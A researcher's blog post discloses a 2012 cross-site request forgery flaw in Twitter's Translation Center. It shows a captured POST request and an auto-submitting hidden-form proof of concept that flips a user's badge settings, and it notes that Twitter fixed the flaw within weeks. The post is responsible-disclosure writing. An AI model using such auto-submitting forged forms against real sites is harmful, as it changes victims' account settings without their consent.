Twitter Whitehat Vulnerability for 2012: Translation Center CSRF/XSRF

Twitter Whitehat Vulnerability for 2012: Translation Center CSRF/XSRF
Photo by Edgar / Unsplash

On 28th September 2012, I found a Cross-Site Request Forgery vulnerability on which is the Twitter Translation Center

While checking the service I landed up on the Accounts Settings page which looked like this.

So we've two options here, first one toggles the Twitter Badge setting on and second one toggles the badge related notification.

POST request which disables both the settings looks like this:

POST /user/update HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Proxy-Connection: keep-alive
Cookie: <cookies>
Content-Type: application/x-www-form-urlencoded
Content-Length: 175


Now in the POST content, parameters of our interest are authenticity_token which is the CSRF prevention token generated by Twitter, user[badging_exempted] and user[receive_badge_email] toggles the badge related settings, user[id] is the user id of user, in my case it was 809244 and is static.

So normally to prevent CSRF on this page authenticity_token needs to be verified on server-side, right ? but this wasn't the situation when I checked it. The server allowed the form to be submitted without even checking the authenticity_token, which rendered it useless.So we had a CSRF here.

The final Proof-of-Concept code I sent to Twitter Security Team to demonstrate CSRF existence looked like this:

<body onload=document.getElementById('xsrf').submit()>
<form id='xsrf' method="post" action="">
<input type='hidden' name='user[badging_exempted]' value='0'></input>
<input type='hidden' name='user[id]=user[id]' value='809244'></input>
<input type='hidden' name='user[receive_badge_email]' value='0'></input>

_jim of Twitter Security Team replied within 1 hour of my initial bug report which said the team is investigating the issue. On 16th October the issue was addressed and then onwards the authenticity_token gets checked on the server-side. Any modification to the token results in an error page.

I'm very thankful to Twitter Team for putting my name along with other white-hats on "Security at Twitter" Page.

Conclusively I would thank _jim who kept me in sync while the issue was investigated and addressed.